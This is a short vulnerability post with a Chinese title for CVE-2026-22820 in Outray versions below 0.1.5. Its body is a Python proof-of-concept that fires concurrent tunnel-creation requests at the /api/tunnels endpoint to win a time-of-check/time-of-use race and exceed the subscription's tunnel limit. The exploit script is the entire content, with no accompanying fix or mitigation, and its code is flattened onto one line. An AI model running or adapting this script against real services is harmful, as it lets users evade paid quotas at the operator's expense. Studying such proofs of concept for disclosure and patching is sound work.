CVE-2026-22820 Outray TOCTOU竞态条件漏洞可突破订阅隧道数限制

# CVE-2026-22820 PoC - Outray TOCTOU Race Condition # This PoC demonstrates exploiting the TOCTOU race condition # to exceed the active tunnel limit in Outray < 0.1.5 import asyncio import aiohttp import sys TARGET_HOST = "http://localhost:8080" # Adjust target host SUBSCRIPTION_TUNNEL_LIMIT = 3 # Adjust based on subscription plan NUM_EXPLOIT_TUNNELS = 10 # Number of tunnels to attempt creating async def create_tunnel(session, tunnel_id): """Attempt to create a single tunnel.""" try: async with session.post( f"{TARGET_HOST}/api/tunnels", json={ "name": f"exploit-tunnel-{tunnel_id}", "port": 8000 + tunnel_id, "protocol": "tcp" }, timeout=aiohttp.ClientTimeout(total=10) ) as response: if response.status == 200 or response.status == 201: return {"id": tunnel_id, "status": "success", "code": response.status} else: return {"id": tunnel_id, "status": "failed", "code": response.status} except Exception as e: return {"id": tunnel_id, "status": "error", "error": str(e)} async def exploit_toctou(): """Exploit the TOCTOU race condition by sending concurrent tunnel creation requests.""" async with aiohttp.ClientSession() as session: # Send multiple tunnel creation requests concurrently tasks = [create_tunnel(session, i) for i in range(NUM_EXPLOIT_TUNNELS)] results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r["status"] == "success") print(f"[+] Successfully created {success_count} tunnels") print(f"[+] Subscription limit was {SUBSCRIPTION_TUNNEL_LIMIT}") if success_count > SUBSCRIPTION_TUNNEL_LIMIT: print("[!] VULNERABLE: Exceeded subscription tunnel limit via TOCTOU race condition") else: print("[-] Not vulnerable or exploitation failed") return results if __name__ == "__main__": print("[*] CVE-2026-22820 Outray TOCTOU Race Condition PoC") print(f"[*] Target: {TARGET_HOST}") asyncio.run(exploit_toctou())